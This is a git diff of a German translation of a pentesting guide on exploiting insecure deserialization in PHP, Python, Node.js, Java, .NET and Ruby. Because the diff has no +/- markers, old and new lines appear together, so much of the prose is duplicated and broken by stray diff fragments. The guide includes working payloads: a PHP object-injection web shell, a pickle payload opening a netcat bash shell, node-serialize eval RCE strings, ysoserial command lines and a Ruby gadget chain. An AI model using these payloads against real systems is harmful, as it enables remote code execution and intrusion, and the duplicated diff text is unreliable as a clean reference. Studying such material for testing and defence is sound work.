**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und das Rekonstruieren dieser Daten zurück in ein Objekt.
|
||||
|
||||
Deserialization kann gefährlich sein, da sie potenziell **Angreifern ermöglicht, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen** oder unerwartetes Verhalten in der Anwendung während des Rekonstruktionsprozesses des Objekts zu verursachen.
|
||||
|
||||
## PHP
|
||||
|
||||
In PHP werden spezifische magische Methoden während der Serialisierungs- und Deserialisierungsprozesse verwendet:
|
||||
In PHP werden spezifische magische Methoden während der Serialization- und Deserialization-Prozesse verwendet:
|
||||
|
||||
- `__sleep`: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array der Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu speichern oder ähnliche Aufräumarbeiten durchzuführen.
|
||||
- `__wakeup`: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Sie wird verwendet, um alle Datenbankverbindungen, die während der Serialisierung verloren gegangen sein könnten, wiederherzustellen und andere Reinitialisierungsaufgaben durchzuführen.
|
||||
- `__unserialize`: Diese Methode wird anstelle von `__wakeup` (wenn sie existiert) aufgerufen, wenn ein Objekt deserialisiert wird. Sie bietet mehr Kontrolle über den Deserialisierungsprozess im Vergleich zu `__wakeup`.
|
||||
- `__wakeup`: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Sie wird verwendet, um alle Datenbankverbindungen, die während der Serialization verloren gegangen sein könnten, wiederherzustellen und andere Reinitialisierungsaufgaben durchzuführen.
|
||||
- `__unserialize`: Diese Methode wird anstelle von `__wakeup` (sofern sie existiert) aufgerufen, wenn ein Objekt deserialisiert wird. Sie bietet mehr Kontrolle über den Deserialization-Prozess im Vergleich zu `__wakeup`.
|
||||
- `__destruct`: Diese Methode wird aufgerufen, wenn ein Objekt kurz davor steht, zerstört zu werden, oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten verwendet, wie das Schließen von Datei-Handles oder Datenbankverbindungen.
|
||||
- `__toString`: Diese Methode ermöglicht es, ein Objekt als String zu behandeln. Sie kann verwendet werden, um eine Datei zu lesen oder andere Aufgaben basierend auf den Funktionsaufrufen innerhalb des Objekts durchzuführen, wodurch eine textuelle Darstellung des Objekts bereitgestellt wird.
|
||||
```php
|
||||
@ -77,7 +77,7 @@ This is a test<br />
|
||||
Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`__wakeup`** und **`__destruct`** aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass in mehreren Tutorials zu finden ist, dass die Funktion **`__toString`** aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber anscheinend **geschieht das nicht mehr**.
|
||||
|
||||
> [!WARNING]
|
||||
> Die Methode **`__unserialize(array $data)`** wird **anstatt von `__wakeup()`** aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es Ihnen, das Objekt zu deserialisieren, indem Sie die serialisierten Daten als Array bereitstellen. Sie können diese Methode verwenden, um Eigenschaften zu deserialisieren und alle erforderlichen Aufgaben bei der Deserialisierung auszuführen.
|
||||
> Die Methode **`__unserialize(array $data)`** wird **anstatt `__wakeup()`** aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es Ihnen, das Objekt zu deserialisieren, indem Sie die serialisierten Daten als Array bereitstellen. Sie können diese Methode verwenden, um Eigenschaften zu deserialisieren und alle erforderlichen Aufgaben bei der Deserialisierung auszuführen.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -154,7 +154,7 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
Auf Servern, die noch **PHP ≤ 7.0** ausführen, führte dieser zweite Zweig zu einer klassischen **PHP Object Injection**, als ein Administrator eine bösartige Formularübermittlung öffnete. Eine minimale Exploit-Nutzlast könnte wie folgt aussehen:
|
||||
Auf Servern, die noch **PHP ≤ 7.0** ausführen, führte dieser zweite Zweig zu einer klassischen **PHP Object Injection**, als ein Administrator ein bösartiges Formular-Submission öffnete. Eine minimale Exploit-Nutzlast könnte wie folgt aussehen:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
@ -196,7 +196,7 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Bevor Sie die Bypass-Technik überprüfen, versuchen Sie `print(base64.b64encode(pickle.dumps(P(),2)))` zu verwenden, um ein Objekt zu generieren, das mit Python2 kompatibel ist, wenn Sie Python3 ausführen.
|
||||
Bevor Sie die Bypass-Technik überprüfen, versuchen Sie, `print(base64.b64encode(pickle.dumps(P(),2)))` zu verwenden, um ein Objekt zu generieren, das mit Python2 kompatibel ist, wenn Sie Python3 ausführen.
|
||||
|
||||
Für weitere Informationen zum Entkommen aus **pickle jails** überprüfen Sie:
|
||||
|
||||
@ -225,7 +225,7 @@ python-yaml-deserialization.md
|
||||
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es hat einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Ausnutzung von Prototype-Pollution), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.
|
||||
|
||||
Eine weitere **"magische" Möglichkeit, eine Funktion aufzurufen**, ohne sie direkt aufzurufen, besteht darin, **ein Objekt zu kompromittieren, das von einer asynchronen Funktion** (Promise) **zurückgegeben wird**. Denn wenn Sie **dieses Rückgabeobjekt** in ein anderes **Promise** mit einer **Eigenschaft** namens **"then" vom Typ Funktion** umwandeln, wird es **ausgeführt**, nur weil es von einem anderen Promise zurückgegeben wird. _Folgen Sie_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für weitere Informationen._
|
||||
Eine weitere **"magische" Möglichkeit, eine Funktion aufzurufen**, ohne sie direkt aufzurufen, besteht darin, **ein Objekt zu kompromittieren, das von einer asynchronen Funktion** (Promise) zurückgegeben wird. Denn wenn Sie **dieses Rückgabeobjekt** in ein anderes **Promise** mit einer **Eigenschaft** namens **"then" vom Typ Funktion** umwandeln, wird es **ausgeführt**, nur weil es von einem anderen Promise zurückgegeben wird. _Folgen Sie_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für weitere Informationen._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -287,7 +287,7 @@ Innerhalb der Datei `node-serialize/lib/serialize.js` finden Sie dasselbe Flag u
|
||||
|
||||
Wie Sie im letzten Codeabschnitt sehen können, **wenn das Flag gefunden wird**, wird `eval` verwendet, um die Funktion zu deserialisieren, also wird im Grunde **Benutzereingabe innerhalb der `eval`-Funktion verwendet**.
|
||||
|
||||
Allerdings **führt das bloße Serialisieren** einer Funktion **nicht zu ihrer Ausführung**, da es notwendig wäre, dass ein Teil des Codes **`y.rce`** in unserem Beispiel aufruft, und das ist höchst **unwahrscheinlich**.\
|
||||
Allerdings **führt das bloße Serialisieren** einer Funktion **nicht zu ihrer Ausführung**, da es notwendig wäre, dass ein Teil des Codes **`y.rce` aufruft** in unserem Beispiel, und das ist höchst **unwahrscheinlich**.\
|
||||
Dennoch könnten Sie einfach das **serialisierte Objekt modifizieren**, **indem Sie einige Klammern hinzufügen**, um die serialisierte Funktion automatisch auszuführen, wenn das Objekt deserialisiert wird.\
|
||||
Im nächsten Codeabschnitt **beachten Sie die letzte Klammer** und wie die `unserialize`-Funktion den Code automatisch ausführen wird:
|
||||
```javascript
|
||||
@ -297,20 +297,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Wie zuvor angegeben, wird diese Bibliothek den Code nach `_$$ND_FUNC$$_` abrufen und ihn **ausführen** mit `eval`. Daher können Sie, um **Code automatisch auszuführen**, den Teil zur **Funktionsdefinition** und die letzte Klammer löschen und **einfach eine JS-Oneliner** wie im folgenden Beispiel ausführen:
|
||||
Wie bereits erwähnt, wird diese Bibliothek den Code nach `_$$ND_FUNC$$_` abrufen und ihn **ausführen** mit `eval`. Daher können Sie, um **Code automatisch auszuführen**, den Teil zur **Funktionsdefinition** und die letzte Klammer löschen und **einfach eine JS-Oneliner** wie im folgenden Beispiel ausführen:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Sie können [**hier finden**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **weitere Informationen** darüber, wie man diese Schwachstelle ausnutzt.
|
||||
Sie können [**hier weitere Informationen**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **über die Ausnutzung dieser Schwachstelle** finden.
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Ein bemerkenswerter Aspekt von **funcster** ist die Unzugänglichkeit von **standardmäßigen eingebauten Objekten**; sie fallen außerhalb des zugänglichen Bereichs. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden auf eingebauten Objekten aufzurufen, was zu Ausnahmen wie `"ReferenceError: console is not defined"` führt, wenn Befehle wie `console.log()` oder `require(something)` verwendet werden.
|
||||
|
||||
Trotz dieser Einschränkung ist die Wiederherstellung des vollständigen Zugriffs auf den globalen Kontext, einschließlich aller standardmäßigen eingebauten Objekte, durch einen spezifischen Ansatz möglich. Durch die direkte Nutzung des globalen Kontexts kann man diese Einschränkung umgehen. Zum Beispiel kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:
|
||||
Trotz dieser Einschränkung ist es möglich, den vollständigen Zugriff auf den globalen Kontext, einschließlich aller standardmäßigen eingebauten Objekte, durch einen spezifischen Ansatz wiederherzustellen. Indem man den globalen Kontext direkt nutzt, kann man diese Einschränkung umgehen. Zum Beispiel kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -367,7 +367,7 @@ In den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliot
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen und potenziell schädliche Aktionen ausführen.
|
||||
In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsprozesses ausgeführt**. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Callbacks auslösen, was zu potenziell schädlichen Aktionen führen kann.
|
||||
|
||||
### Fingerabdrücke
|
||||
|
||||
@ -376,7 +376,7 @@ In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsproze
|
||||
Um potenzielle Serialisierungsanfälligkeiten im Code zu identifizieren, suchen Sie nach:
|
||||
|
||||
- Klassen, die das `Serializable`-Interface implementieren.
|
||||
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshared`-Funktionen.
|
||||
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshare`-Funktionen.
|
||||
|
||||
Achten Sie besonders auf:
|
||||
|
||||
@ -396,13 +396,13 @@ Für Black-Box-Tests suchen Sie nach spezifischen **Signaturen oder "Magic Bytes
|
||||
- HTTP-Antwortheader mit `Content-type`, der auf `application/x-java-serialized-object` gesetzt ist.
|
||||
- Hexadezimales Muster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
|
||||
- Base64-Muster, das auf eine vorherige Kompression hinweist: `H4sIA`.
|
||||
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) detailliert beschrieben.
|
||||
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Überprüfen, ob verwundbar
|
||||
|
||||
Wenn Sie **erfahren möchten, wie ein Java Deserialized Exploit funktioniert**, sollten Sie sich [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) und [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) ansehen.
|
||||
Wenn Sie **lernen möchten, wie ein Java Deserialized Exploit funktioniert**, sollten Sie sich [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) und [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) ansehen.
|
||||
|
||||
#### White Box Test
|
||||
|
||||
@ -413,7 +413,7 @@ grep -R InvokeTransformer .
|
||||
```
|
||||
Du könntest versuchen, **alle Bibliotheken zu überprüfen**, von denen bekannt ist, dass sie anfällig sind und für die [**Ysoserial**](https://github.com/frohoff/ysoserial) einen Exploit bereitstellen kann. Oder du könntest die in [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) angegebenen Bibliotheken überprüfen.\
|
||||
Du könntest auch [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können.\
|
||||
Beim Ausführen von **gadgetinspector** (nach dem Erstellen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
|
||||
Beim Ausführen von **gadgetinspector** (nach dem Bauen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
|
||||
|
||||
#### Black Box Test
|
||||
|
||||
@ -430,8 +430,8 @@ Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **
|
||||
|
||||
**Serialization Test**
|
||||
|
||||
Es geht nicht nur darum, zu überprüfen, ob eine anfällige Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Überprüfungen zu umgehen** (vielleicht erhältst du Administratorrechte in einer Webanwendung).\
|
||||
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Überprüfungen zu umgehen.
|
||||
Es geht nicht nur darum, zu überprüfen, ob eine anfällige Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
|
||||
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Prüfungen zu umgehen.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
@ -484,9 +484,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu kodieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
|
||||
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
|
||||
|
||||
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs-**Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
|
||||
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs**-Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -514,7 +514,7 @@ Sie können **verwenden** [**https://github.com/pwntester/SerialKillerBypassGadg
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)kann verwendet werden, um Payloads zu generieren, um verschiedene **Json**- und **Yml**-Serialisierungsbibliotheken in Java auszunutzen.\
|
||||
Um das Projekt zu kompilieren, musste ich diese **Abhängigkeiten** zu `pom.xml` hinzufügen:
|
||||
Um das Projekt zu kompilieren, musste ich diese **Abhängigkeiten** zu `pom.xml` **hinzufügen**:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -540,7 +540,7 @@ Lesen Sie mehr über diese Java JSON-Bibliothek: [https://www.alphabot.com/secur
|
||||
|
||||
### Labs
|
||||
|
||||
- Wenn Sie einige ysoserial Payloads testen möchten, können Sie **diese Webanwendung ausführen**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- Wenn Sie einige ysoserial-Payloads testen möchten, können Sie **diese Webanwendung ausführen**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Warum
|
||||
@ -600,7 +600,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
|
||||
**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Rückfalllösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -652,7 +652,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> Die **Java Message Service** (**JMS**) API ist eine Java-nachrichtenorientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Es ist eine Implementierung zur Lösung des Produzenten-Konsumenten-Problems. JMS ist Teil der Java Platform, Enterprise Edition (Java EE), und wurde durch eine Spezifikation definiert, die bei Sun Microsystems entwickelt wurde, aber seitdem vom Java Community Process geleitet wird. Es ist ein Messaging-Standard, der es Anwendungsmodulen, die auf Java EE basieren, ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Es ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung, die lose gekoppelt, zuverlässig und asynchron ist. (Von [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> Die **Java Message Service** (**JMS**) API ist eine Java-nachrichtenorientierte Middleware-API zum Senden von Nachrichten zwischen zwei oder mehr Clients. Es ist eine Implementierung zur Handhabung des Produzenten-Konsumenten-Problems. JMS ist Teil der Java Platform, Enterprise Edition (Java EE), und wurde durch eine Spezifikation definiert, die bei Sun Microsystems entwickelt wurde, aber seitdem vom Java Community Process geleitet wird. Es ist ein Messaging-Standard, der es Anwendungsmodulen, die auf Java EE basieren, ermöglicht, Nachrichten zu erstellen, zu senden, zu empfangen und zu lesen. Es ermöglicht die Kommunikation zwischen verschiedenen Komponenten einer verteilten Anwendung, die lose gekoppelt, zuverlässig und asynchron ist. (Von [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Produkte
|
||||
|
||||
@ -667,7 +667,7 @@ Es gibt mehrere Produkte, die diese Middleware verwenden, um Nachrichten zu send
|
||||
Im Grunde gibt es eine **Menge von Diensten, die JMS auf gefährliche Weise verwenden**. Daher, wenn Sie **genug Berechtigungen** haben, um Nachrichten an diese Dienste zu senden (normalerweise benötigen Sie gültige Anmeldeinformationen), könnten Sie in der Lage sein, **bösartige Objekte zu senden, die vom Verbraucher/Abonnenten deserialisiert werden**.\
|
||||
Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht verwenden, infiziert werden**.
|
||||
|
||||
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
|
||||
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie immer noch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
|
||||
|
||||
Das Tool [JMET](https://github.com/matthiaskaiser/jmet) wurde entwickelt, um **diese Dienste zu verbinden und anzugreifen, indem mehrere bösartige Objekte gesendet werden, die mit bekannten Gadgets serialisiert sind**. Diese Exploits funktionieren, wenn der Dienst weiterhin anfällig ist und wenn eines der verwendeten Gadgets in der anfälligen Anwendung enthalten ist.
|
||||
|
||||
@ -691,11 +691,11 @@ Der Quellcode sollte auf Vorkommen von:
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine Variable unter Benutzerkontrolle zu bestimmen.
|
||||
Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen, ist aber nicht darauf beschränkt.
|
||||
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte und die Kontrolle über den zu deserialisierenden Typ gewährt. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen, ist aber nicht darauf beschränkt.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
@ -706,15 +706,15 @@ Wenn Sie lernen möchten, **wie ysoserial.net seinen Exploit erstellt**, können
|
||||
Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**, **`--output`** und **`--plugin`.**
|
||||
|
||||
- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
|
||||
- **`--formatter`**, wird verwendet, um die Methode anzugeben, um den Exploit zu serialisieren (Sie müssen wissen, welche Bibliothek das Backend verwendet, um die Nutzlast zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
|
||||
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Nutzlast mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
|
||||
- **`--formatter`**, wird verwendet, um die Methode anzugeben, um den Exploit zu serialisieren (Sie müssen wissen, welche Bibliothek das Backend verwendet, um die Payload zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
|
||||
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Payload mit **UTF-16LE** (Standardkodierung unter Windows) **codiert**, sodass, wenn Sie die Raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** auftreten, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
|
||||
- **`--plugin`** ysoserial.net unterstützt Plugins, um **Exploits für spezifische Frameworks** wie ViewState zu erstellen.
|
||||
|
||||
#### Weitere ysoserial.net-Parameter
|
||||
|
||||
- `--minify` bietet eine **kleinere Nutzlast** (wenn möglich)
|
||||
- `--minify` liefert eine **kleinere Payload** (wenn möglich)
|
||||
- `--raf -f Json.Net -c "anything"` Dies gibt an, welche Gadgets mit einem angegebenen Formatter (`Json.Net` in diesem Fall) verwendet werden können.
|
||||
- `--sf xml` Sie können **ein Gadget** (`-g`) angeben, und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).
|
||||
- `--sf xml` Sie können **ein Gadget** (`-g`) angeben, und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht groß-/kleinschreibungssensitiv).
|
||||
|
||||
**ysoserial-Beispiele** zur Erstellung von Exploits:
|
||||
```bash
|
||||
@ -800,7 +800,7 @@ Zur Sicherung serialisierter Objekte verwendet **Ruby HMAC (Hash-Based Message A
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.X generische Deserialisierung zu RCE-Gadget-Kette (mehr Infos in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X generische Deserialisierung zu RCE Gadget-Kette (mehr Infos in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -906,7 +906,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Ruby-Klassenverschmutzung
|
||||
|
||||
Überprüfen Sie, wie es möglich sein könnte, eine [Ruby-Klasse zu verschmutzen und sie hier auszunutzen](ruby-class-pollution.md).
|
||||
Überprüfen Sie, wie es möglich sein könnte, eine Ruby-Klasse zu [verschmutzen und sie hier zu missbrauchen](ruby-class-pollution.md).
|
||||
|
||||
### Ruby _json-Verschmutzung
|
||||
|
||||
@ -918,11 +918,11 @@ Wenn einige nicht hashbare Werte wie ein Array in den Body gesendet werden, werd
|
||||
|
||||
Diese Technik wurde [**aus diesem Blogbeitrag**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) entnommen.
|
||||
|
||||
Es gibt andere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren, und die daher ausgenutzt werden könnten, um RCE während einer unsicheren Deserialisierung zu erlangen. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die sie von der geladenen Bibliothek aufrufen, wann immer sie deserialisiert wird (Funktion, die ausgenutzt werden kann, um RCE zu erhalten):
|
||||
